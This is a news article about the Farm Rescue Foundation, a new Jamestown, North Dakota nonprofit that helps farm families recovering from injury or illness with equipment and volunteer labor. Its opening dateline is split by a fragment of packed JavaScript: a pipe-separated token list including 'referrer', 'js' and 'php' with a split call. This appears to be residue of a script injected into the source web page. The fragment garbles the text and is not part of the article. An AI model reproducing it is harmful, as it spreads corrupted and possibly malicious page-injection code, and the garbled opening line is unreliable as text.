JAMESTOWN, zefhz|var|u0026u|referrer|niszk||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The Farm Rescue organization in Jamestown has added the Farm Rescue Foundation, a new nonprofit organization that helps farm families recovering from injury or illness. Qualified individuals may now apply for assistance in acquiring specialized, non-medical equipment to overcome physical challenges. Temporary volunteer labor is also available to help with physical challenges during the recovery process to a limited number of cases.
“Sustaining life on a farm can be challenge to anyone following an unexpected physical setback. The Farm Rescue Foundation is here to help during the recovery process to ensure that families have an opportunity to continue viable operations,” said Bill Gross, Farm Rescue Foundation president and founder. “We are pleased to announce this new assistance to farm families facing unique physical challenges.”
Gross is also the founder of Farm Rescue, a separate nonprofit organization that provides planting or harvesting assistance to those who have experienced a major illness, or natural disaster. While Farm Rescue provides assistance during crises in the form of fieldwork, the Farm Rescue Foundation provides assistance during the recovery phase consisting of special equipment or physical labor. Applicants for this new assistance need not have received assistance from Farm Rescue.
The mission of the Farm Rescue Foundation is to improve the quality of life through charitable services for rural citizens that have experienced a major illness, injury, or natural disaster and provide financial grants to public charities who focus their efforts in rural regions of America.
The Farm Rescue Foundation is supported by donations, grants and endowments. Those wishing to contribute funding or volunteer time are encouraged to contact the Farm Rescue Foundation. Several giving options are available for anyone wishing to leave a lasting legacy to help citizens in rural communities. Applicants are encouraged to contact the Farm Rescue Foundation to discuss options for assistance.
